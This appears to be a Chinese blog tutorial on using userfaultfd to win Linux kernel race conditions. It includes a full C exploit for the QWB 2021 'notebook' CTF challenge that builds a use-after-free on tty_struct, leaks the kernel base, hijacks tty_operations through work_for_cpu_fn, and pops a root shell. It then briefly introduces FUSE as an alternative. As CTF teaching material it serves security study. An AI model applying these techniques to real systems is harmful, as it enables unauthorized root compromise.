严格意义而言 userfaultfd 并非是一种利用手法,而是 Linux 的一个系统调用,简单来说,通过 userfaultfd 这种机制,用户可以通过自定义的 page fault handler 在用户态处理缺页异常

下面的这张图很好地体现了 userfaultfd 的整个流程:

image.png

要使用 userfaultfd 系统调用,我们首先要注册一个 userfaultfd,通过 ioctl 监视一块内存区域,同时还需要专门启动一个用以进行轮询的线程 uffd monitor,该线程会通过 poll() 函数不断轮询直到出现缺页异常

  • 当有一个线程在这块内存区域内触发缺页异常时(比如说第一次访问一个匿名页),该线程(称之为 faulting 线程)进入到内核中处理缺页异常

  • 内核会调用 handle_userfault() 交由 userfaultfd 处理

  • 随后 faulting 线程进入堵塞状态,同时将一个 uffd_msg 发送给 monitor 线程,等待其处理结束

  • monitor 线程调用通过 ioctl 处理缺页异常,有如下选项:

    • UFFDIO_COPY:将用户自定义数据拷贝到 faulting page 上
    • UFFDIO_ZEROPAGE :将 faulting page 置0
    • UFFDIO_WAKE:用于配合上面两项中 UFFDIO_COPY_MODE_DONTWAKEUFFDIO_ZEROPAGE_MODE_DONTWAKE 模式实现批量填充
  • 在处理结束后 monitor 线程发送信号唤醒 faulting 线程继续工作

以上便是 userfaultfd 这个机制的整个流程,该机制最初被设计来用以进行虚拟机/进程的迁移等用途,但是通过这个机制我们可以控制进程执行流程的先后顺序,从而使得对条件竞争的利用成功率大幅提高

考虑在内核模块当中有一个菜单堆的情况,其中的操作都没有加锁,那么便存在条件竞争的可能,考虑如下竞争情况:

  • 线程1不断地分配与编辑堆块
  • 线程2不断地释放堆块

此时线程1便有可能编辑到被释放的堆块,若是此时恰好我们又将这个堆块申请到了合适的位置(比如说 tty_operations),那么我们便可以完成对该堆块的重写,从而进行下一步利用

但是毫无疑问的是,若是直接开两个线程进行竞争,命中的几率是比较低的,我们也很难判断是否命中

但假如线程1使用诸如 copy_from_usercopy_to_user 等方法在用户空间与内核空间之间拷贝数据,那么我们便可以:

  • 先用 mmap 分一块匿名内存,为其注册 userfaultfd,由于我们是使用 mmap 分配的匿名内存,此时该块内存并没有实际分配物理内存页
  • 线程1在内核中在这块内存与内核对象间进行数据拷贝,在访问注册了 userfaultfd 内存时便会触发缺页异常,陷入阻塞,控制权转交 userfaultfd 的 uffd monitor 线程
  • 在 uffd monitor 线程中我们便能对线程1正在操作的内核对象进行恶意操作(例如覆写线程1正在读写的内核对象,或是将线程1正在读写的内核对象释放掉后再分配到我们想要的地方)
  • 此时再让线程1继续执行,线程 1 便会向我们想要写入的目标写入特定数据/从我们想要读取的目标读取特定数据

由此,我们便成功利用 userfaultfd 完成了对条件竞争漏洞的利用,这项技术的存在使得条件竞争的命中率大幅提高

userfaultfd 的具体用法

以下代码参考自 Linux man page,略有改动

首先定义接下来需要用到的一些数据结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>

void errExit(char * msg)
{
puts(msg);
exit(-1);
}
//...

long uffd; /* userfaultfd file descriptor */
char *addr; /* Start of region handled by userfaultfd */
unsigned long len; /* Length of region handled by userfaultfd */
pthread_t thr; /* ID of thread that handles page faults */
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;

首先通过 userfaultfd 系统调用注册一个 userfaultfd,其中 O_CLOEXECO_NONBLOCK 和 open 的 flags 相同,笔者个人认为这里可以理解为我们创建了一个虚拟设备 userfault

这里用 mmap 分一个匿名页用作后续被监视的区域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

/* Create a private anonymous mapping. The memory will be
demand-zero paged--that is, not yet allocated. When we
actually touch the memory, it will be allocated via
the userfaultfd. */
len = 0x1000;
addr = (char*) mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
errExit("mmap");

为这块内存区域注册 userfaultfd

1
2
3
4
5
6
7
8
9
/* Register the memory range of the mapping we just created for
handling by the userfaultfd object. In mode, we request to track
missing pages (i.e., pages that have not yet been faulted in). */

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

启动 monitor 轮询线程,整个 userfaultfd 的启动流程就结束了,接下来便是等待缺页异常的过程

1
2
3
4
5
/* Create a thread that will process the userfaultfd events */
int s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
if (s != 0) {
errExit("pthread_create");
}

monitor 轮询线程应当定义如下形式,这里给出的是 UFFD_COPY,即将自定义数据拷贝到 faulting page 上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
static int page_size;

static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg; /* Data read from userfaultfd */
static int fault_cnt = 0; /* Number of faults so far handled */
long uffd; /* userfaultfd file descriptor */
static char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nread;

page_size = sysconf(_SC_PAGE_SIZE);

uffd = (long) arg;

/* Create a page that will be copied into the faulting region */

if (page == NULL)
{
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("mmap");
}

/* Loop, handling incoming events on the userfaultfd
file descriptor */

for (;;)
{
/* See what poll() tells us about the userfaultfd */

struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");

printf("\nfault_handler_thread():\n");
printf(" poll() returns: nready = %d; "
"POLLIN = %d; POLLERR = %d\n", nready,
(pollfd.revents & POLLIN) != 0,
(pollfd.revents & POLLERR) != 0);

/* Read an event from the userfaultfd */

nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
{
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}

if (nread == -1)
errExit("read");

/* We expect only one kind of event; verify that assumption */

if (msg.event != UFFD_EVENT_PAGEFAULT)
{
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
}
/* Display info about the page-fault event */

printf(" UFFD_EVENT_PAGEFAULT event: ");
printf("flags = %llx; ", msg.arg.pagefault.flags);
printf("address = %llx\n", msg.arg.pagefault.address);

/* Copy the page pointed to by 'page' into the faulting
region. Vary the contents that are copied in, so that it
is more obvious that each fault is handled separately. */

memset(page, 'A' + fault_cnt % 20, page_size);
fault_cnt++;

uffdio_copy.src = (unsigned long) page;

/* We need to handle page faults in units of pages(!).
So, round faulting address down to page boundary */

uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

printf(" (uffdio_copy.copy returned %lld)\n",
uffdio_copy.copy);
}
}

有人可能注意到了 uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1); 这个奇怪的句子,在这里作用是将触发缺页异常的地址按页对齐作为后续拷贝的起始地址

比如说触发的地址可能是 0xdeadbeef,直接从这里开始拷贝一整页的数据就拷歪了,应当从 0xdeadb000 开始拷贝(假设页大小 0x1000)

例程

测试例程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>

static int page_size;

void errExit(char * msg)
{
printf("[x] Error at: %s\n", msg);
exit(-1);
}

static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg; /* Data read from userfaultfd */
static int fault_cnt = 0; /* Number of faults so far handled */
long uffd; /* userfaultfd file descriptor */
static char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

/* Create a page that will be copied into the faulting region */

if (page == NULL)
{
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("mmap");
}

/* Loop, handling incoming events on the userfaultfd
file descriptor */

for (;;)
{
/* See what poll() tells us about the userfaultfd */

struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");

printf("\nfault_handler_thread():\n");
printf(" poll() returns: nready = %d; "
"POLLIN = %d; POLLERR = %d\n", nready,
(pollfd.revents & POLLIN) != 0,
(pollfd.revents & POLLERR) != 0);

/* Read an event from the userfaultfd */

nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
{
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}

if (nread == -1)
errExit("read");

/* We expect only one kind of event; verify that assumption */

if (msg.event != UFFD_EVENT_PAGEFAULT)
{
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
}
/* Display info about the page-fault event */

printf(" UFFD_EVENT_PAGEFAULT event: ");
printf("flags = %llx; ", msg.arg.pagefault.flags);
printf("address = %llx\n", msg.arg.pagefault.address);

/* Copy the page pointed to by 'page' into the faulting
region. Vary the contents that are copied in, so that it
is more obvious that each fault is handled separately. */

memset(page, 'A' + fault_cnt % 20, page_size);
fault_cnt++;

uffdio_copy.src = (unsigned long) page;

/* We need to handle page faults in units of pages(!).
So, round faulting address down to page boundary */

uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

printf(" (uffdio_copy.copy returned %lld)\n",
uffdio_copy.copy);
}
}


int main(int argc, char ** argv, char ** envp)
{
long uffd; /* userfaultfd file descriptor */
char *addr; /* Start of region handled by userfaultfd */
unsigned long len; /* Length of region handled by userfaultfd */
pthread_t thr; /* ID of thread that handles page faults */
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;

page_size = sysconf(_SC_PAGE_SIZE);

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

/* Create a private anonymous mapping. The memory will be
demand-zero paged--that is, not yet allocated. When we
actually touch the memory, it will be allocated via
the userfaultfd. */
len = 0x1000;
addr = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
errExit("mmap");

/* Register the memory range of the mapping we just created for
handling by the userfaultfd object. In mode, we request to track
missing pages (i.e., pages that have not yet been faulted in). */

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

/* Create a thread that will process the userfaultfd events */
int s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
if (s != 0)
errExit("pthread_create");

/* Trigger the userfaultfd event */
void * ptr = (void*) *(unsigned long long*) addr;
printf("Get data: %p\n", ptr);

return 0;
}

起个虚拟机跑一下,我们可以看到在我们监视的匿名页内成功地被我们写入了想要的数据

新版本内核对抗 userfaultfd 在 race condition 中的利用

正所谓“没有万能的银弹”,可能有的人会发现在较新版本的内核中 userfaultfd 系统调用无法成功启动:

image.png

这是因为在较新版本的内核中修改了变量 sysctl_unprivileged_userfaultfd 的值:

来自 linux-5.11 源码fs/userfaultfd.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int sysctl_unprivileged_userfaultfd __read_mostly;
//...
SYSCALL_DEFINE1(userfaultfd, int, flags)
{
struct userfaultfd_ctx *ctx;
int fd;

if (!sysctl_unprivileged_userfaultfd &&
(flags & UFFD_USER_MODE_ONLY) == 0 &&
!capable(CAP_SYS_PTRACE)) {
printk_once(KERN_WARNING "uffd: Set unprivileged_userfaultfd "
"sysctl knob to 1 if kernel faults must be handled "
"without obtaining CAP_SYS_PTRACE capability\n");
return -EPERM;
}
//...

来自 linux-5.4 源码fs/userfaultfd.c

1
2
int sysctl_unprivileged_userfaultfd __read_mostly = 1;
//...

在之前的版本当中 sysctl_unprivileged_userfaultfd 这一变量被初始化为 1,而在较新版本的内核当中这一变量并没有被赋予初始值,编译器会将其放在 bss 段,默认值为 0

这意味着在较新版本内核中只有 root 权限才能使用 userfaultfd,这或许意味着刚刚进入大众视野的 userfaultfd 可能又将逐渐淡出大众视野(微博@来去之间),但不可否认的是,userfaultfd 确乎为我们在 Linux kernel 中的条件竞争利用提供了一个全新的思路与一种极其稳定的利用手法

CTF 中的 userfaultfd 板子

userfaultfd 的整个操作流程比较繁琐,故笔者现给出如下板子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static pthread_t monitor_thread;

void errExit(char * msg)
{
printf("[x] Error at: %s\n", msg);
exit(EXIT_FAILURE);
}

void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}

在使用时直接调用即可:

1
registerUserFaultFd(addr, len, handler);

需要注意的是 handler 的写法,这里直接照抄 Linux man page 改了改,可以根据个人需求进行个性化改动:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
static char *page = NULL; // 你要拷贝进去的数据
static long page_size;

static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg;
static int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

/*
* [在这停顿.jpg]
* 当 poll 返回时说明出现了缺页异常
* 你可以在这里插入一些比如说 sleep() 一类的操作
*/

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
}
}

例题:强网杯2021线上赛 - notebook

① 题目分析

首先看一下启动脚本(写得很 tmd 乱,早该锤锤出题人了

1
2
3
#!/bin/sh
stty intr ^]
exec timeout 300 qemu-system-x86_64 -m 64M -kernel bzImage -initrd rootfs.cpio -append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" -nographic -net user -net nic -device e1000 -smp cores=2,threads=2 -cpu kvm64,+smep,+smap -monitor /dev/null 2>/dev/null -s

开了 smap、smep、kaslr 保护

查看 /sys/devices/system/cpu/vulnerabilities/*

image.png

开启了 KPTI (内核页表隔离)

给了一个 LKM 叫 notebook.ko,按惯例这应当就是有漏洞的模块了,拖入 IDA 进行分析

大致是创建了一个 misc 类型的设备,并自定义了 ioctl、read、write 三个接口

image.png

定义了一个结构体 note 的数组 notebook,有着两个成员:size 存储堆块的大小,buf 存储指向堆块的地址

image.png

题目设备通过 ioctl 模拟了一个菜单(又是菜单堆),提供了创建、编辑、释放堆块的功能

image.png

我们需要传入的参数为如下结构体:

1
2
3
4
5
typedef struct {
size_t idx;
size_t size;
char * buf;
} userarg;

noteadd() 会向 slub 申请不大于 0x60 的 object,不过并不会直接拷贝数据到 object 中,而是会拷贝到 name 字符数组

image.png

noteedit 用于编辑我们的 notebook 中的 object,若是 size 不同则会调用 krealloc,并将用户空间数据拷贝 256 字节至全局变量 name 中,否则直接返回,与 add 所不同的是 edit 并不会限制 size 大小,因此虽然 add 限制了 size,但是通过 edit 我们仍能获得任意大小的 object

在这里存在一个漏洞:edit 使用的是读锁,可以多个进程并发 realloc(buf, 0) ,从而通过条件竞争达到 use after free 的效果

image.png

notedel() 则被用来释放 object,注意到在 notedel() 函数中若是 size 为 0 则不会清空,不过与 ptmalloc 所不同的是,kmalloc(0) 并不会分配一个 object

image.png

注意到在不同操作中还有着读写锁,不过 add 和 edit 占用的是位,而 delete 占用的是位,通俗地说便是:读锁可以被多个进程使用,多个进程此时可以同时进入临界区,而写锁只能被一个进程使用,只有一个进程能够进入临界区

notegift() 函数则会白给出分配的 object 的地址,这让本题难度下降不少:)

image.png

题目设备的 read() 则是很普通的读取对应 note 内容的功能,读取的大小为 notebook 结构体数组中存的 size,下标为 read 传入的第三个参数

image.png

题目设备的 write() 也是很普通的写入对应 note 内容的功能,写入的大小为 notebook 结构体数组中存的 size,下标为 write 传入的第三个参数

image.png

② 漏洞利用

Step.I - userfaultfd 构造 UAF

注意到在 mynote_edit 当中使用了 krealloc 来重分配 object,随后使用 copy_fom_user 从用户空间拷贝数据:

image.png

那么我们可以:

  • 分配一个特定大小的 note
  • 新开 edit 线程通过 krealloc(0) 将其释放,并通过 userfaultfd 卡在这里

此时 notebook 数组中的 object 尚未被清空,仍是原先被释放了的 object,我们只需要再将其分配到别的内核结构体上便能完成 UAF

接下来我们就要选择 victim struct 了,这里我们还是选择最经典的 tty_struct 来完成利用,我们只需要打开 /dev/ptmx 便能获得一个 tty_struct :)

Step.II - 泄露内核地址

由于题目提供了读取堆块的功能,故我们可以直接通过 tty_struct 中的 tty_operations 泄露内核基地址,其通常被初始化为全局变量 ptm_unix98_opspty_unix98_ops

开启了 kaslr 的内核在内存中的偏移依然以内存页为粒度,故我们可以通过比对 tty_operations 地址的低三16进制位来判断是 ptm_unix98_ops 还是 pty_unix98_ops

需要注意的是题目模块中的读写功能会检查 notebook 数组中的 size,而在我们通过 krealloc(0) 构建 UAF 时其被修改为 0,故我们需要将其修改回非 0 值

注意到 noteadd() 中会先修改 notebook 的 size 再 copy_from_user() ,这给了我们利用 userfaultfd 的机会:我们可以通过 noteadd() 将 size 修改回非 0 值并通过 userfaultfd 将其卡住(否则我们的 UAF object 指针会被新分配的 object 覆盖)

image.png

Step.III - 劫持 tty_operations,控制内核执行流,work_for_cpu_fn() 稳定化利用

由于题目提供了写入堆块的功能,故我们可以直接通过修改 tty_struct->tty_operations 后操作 tty(例如read、write、ioctl…这会调用到函数表中的对应函数指针)的方式劫持内核执行流,同时 notegift() 会白给出 notebook 里存的 object 的地址,那么我们可以直接把 fake tty_operations 布置到 note 当中

现在我们考虑如何进行提权的工作,按惯例我们需要 commit_creds(prepare_kernel_cred(NULL)) ,不过我们很难直接一步执行到位,因此需要分步执行并保存中间结果

这里我们选择使用 work_for_cpu_fn() 完成利用,在开启了多核支持的内核中都有这个函数,定义于 kernel/workqueue.c 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
struct work_for_cpu {
struct work_struct work;
long (*fn)(void *);
void *arg;
long ret;
};

static void work_for_cpu_fn(struct work_struct *work)
{
struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);

wfc->ret = wfc->fn(wfc->arg);
}

简单分析可知该函数可以理解为如下形式:

1
2
3
4
static void work_for_cpu_fn(size_t * args)
{
args[6] = ((size_t (*) (size_t)) (args[4](args[5]));
}

rdi + 0x20 处作为函数指针执行,参数为 rdi + 0x28 处值,返回值存放在 rdi + 0x30 处,而 tty_operations 上的函数指针的第一个参数大都是 tty_struct ,对我们而言是可控的,由此我们可以很方便地分次执行 prepare_kernel_cred 和 commit_creds,且不用考虑 KPTI 绕过,直接普通地返回用户态便能完成稳定化提权

需要注意的是 tty_struct 的结构也被我们所破坏了,因此在完成提权之后我们应该将其内容恢复原样

③ FINAL EXPLOIT

最终的 exp 如下所示(kernelpwn.h 见本文开头):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include "kernelpwn.h"

#define TTY_STRUCT_SIZE 0x2e0

#define PTM_UNIX98_OPS 0xffffffff81e8e440
#define PTY_UNIX98_OPS 0xffffffff81e8e320
#define COMMIT_CREDS 0xffffffff810a9b40
#define PREPARE_KERNEL_CRED 0xffffffff810a9ef0
#define WORK_FOR_CPU_FN 0xffffffff8109eb90

#define NOTE_NUM 0x10

struct Note {
size_t idx;
size_t size;
char * buf;
};

struct KernelNotebook {
void *ptr;
size_t size;
};

int note_fd;
sem_t evil_add_sem, evil_edit_sem;
char *uffd_buf;
char temp_page[0x1000] = { "arttnba3" };

void noteAdd(size_t idx, size_t size, char * buf)
{
struct Note note = {
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(note_fd, 0x100, &note);
}

void noteDel(size_t idx)
{
struct Note note = {
.idx = idx,
};
ioctl(note_fd, 0x200, &note);
}

void noteEdit(size_t idx, size_t size, char * buf)
{
struct Note note = {
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(note_fd, 0x300, &note);
}

void noteGift(void *buf)
{
struct Note note = {
.buf = buf,
};
ioctl(note_fd, 100, &note);
}

ssize_t noteRead(int idx, void *buf)
{
return read(note_fd, buf, idx);
}

ssize_t noteWrite(int idx, void *buf)
{
return write(note_fd, buf, idx);
}

void* fixSizeByAdd(void *args)
{
sem_wait(&evil_add_sem);
noteAdd(0, 0x60, uffd_buf);
}

void* constructUAF(void * args)
{
sem_wait(&evil_edit_sem);
noteEdit(0, 0, uffd_buf);
}

int main(int argc, char **argv, char **envp)
{
struct KernelNotebook kernel_notebook[NOTE_NUM];
struct tty_operations fake_tty_ops;
pthread_t uffd_monitor_thread, add_fix_size_thread, edit_uaf_thread;
size_t fake_tty_struct_data[0x100], tty_ops, orig_tty_struct_data[0x100];
size_t tty_struct_addr, fake_tty_ops_addr;
int tty_fd;

/* fundamental infastructure */
saveStatus();
bindCore(0);

sem_init(&evil_add_sem, 0, 0);
sem_init(&evil_edit_sem, 0, 0);

/* open dev */
note_fd = open("/dev/notebook", O_RDWR);
if (note_fd < 0) {
errExit("failed to open /dev/notebook!");
}

/* register userfaultfd */
puts("[*] register userfaultfd...");

uffd_buf = (char *) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFdForThreadStucking(&uffd_monitor_thread, uffd_buf,0x1000);

/* get a tty-size object */
puts("[*] allocating tty_struct-size object...");

noteAdd(0, 0x10, "arttnba3rat3bant");
noteEdit(0, TTY_STRUCT_SIZE, temp_page);

/**
* construct UAF by userfaultfd.
* Note that we need to sleep(1) there to wait for the kfree() to be done,
* so that the UAF object can be regetted later.
*/
puts("[*] constructing UAF on tty_struct...");

pthread_create(&edit_uaf_thread, NULL, constructUAF, NULL);
pthread_create(&add_fix_size_thread, NULL, fixSizeByAdd, NULL);

sem_post(&evil_edit_sem);
sleep(1);

/**
* fix notebook[0]->size.
* Note that we need to sleep(1) there to wait for the `size` to be fixed.
*/
sem_post(&evil_add_sem);
sleep(1);

/* leak kernel_base by tty_struct */
puts("[*] leaking kernel_base by tty_struct");

tty_fd = open("/dev/ptmx", O_RDWR| O_NOCTTY);
noteRead(0, orig_tty_struct_data);

if (*(int*) orig_tty_struct_data != 0x5401) {
errExit("failed to hit the tty_struct!");
}

tty_ops = orig_tty_struct_data[3];
kernel_offset = ((tty_ops & 0xfff) == (PTY_UNIX98_OPS & 0xfff)
? (tty_ops - PTY_UNIX98_OPS) : tty_ops - PTM_UNIX98_OPS);
kernel_base += kernel_offset;
printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%lx\n", kernel_offset);
printf("\033[32m\033[1m[+] Kernel base: \033[0m0x%lx\n", kernel_base);

/* construct fake tty_ops */
puts("[*] construct fake tty_operations...");

fake_tty_ops.ioctl = kernel_offset + WORK_FOR_CPU_FN;
noteAdd(1, 0x50, temp_page);
noteEdit(1, sizeof(struct tty_operations), temp_page);
noteWrite(1, &fake_tty_ops);

/* get kernel addr of tty_struct and tty_ops by gift */
puts("[*] leaking kernel heap addr by gift...");

noteGift(&kernel_notebook);
tty_struct_addr = kernel_notebook[0].ptr;
fake_tty_ops_addr = kernel_notebook[1].ptr;

printf("[+] tty_struct at 0x%lx\n", tty_struct_addr);
printf("[+] fake_tty_ops at 0x%lx\n", fake_tty_ops_addr);

/* prepare_kernel_cred(NULL) */
puts("[*] triger commit_creds(prepare_kernel_cred(NULL)) and fix tty...");

memcpy(fake_tty_struct_data, orig_tty_struct_data, 0x2e0);
fake_tty_struct_data[3] = fake_tty_ops_addr;
fake_tty_struct_data[4] = kernel_offset + PREPARE_KERNEL_CRED;
fake_tty_struct_data[5] = NULL;

noteWrite(0, fake_tty_struct_data);

ioctl(tty_fd, 233, 233);

/* commit_creds(&root_cred) */
noteRead(0, fake_tty_struct_data);
fake_tty_struct_data[4] = kernel_offset + COMMIT_CREDS;
fake_tty_struct_data[5] = fake_tty_struct_data[6];
fake_tty_struct_data[6] = orig_tty_struct_data[6];

noteWrite(0, fake_tty_struct_data);

ioctl(tty_fd, 233, 233);

/* fix tty_struct */
memcpy(fake_tty_struct_data, orig_tty_struct_data, 0x2e0);
noteWrite(0, fake_tty_struct_data);

/* pop root shell */
getRootShell();

return 0;
}

运行即可完成稳定化提权

image.png

FUSE race

FUSE 的基本信息参考 To FUSE or Not to FUSE: Performance of User-Space File Systems,也可以参考知乎上的这篇文章,基于 FUSE 的利用则可以参考CVE-2022-0185

注:最好先了解 VFS 相关的一些基本知识

FUSE 简介

前面讲到,自 Linux kernel 5.11 版本起,非特权用户被禁止使用 userfaultfd 系统调用,但是我们仍能通过 FUSE 达成同样的效果

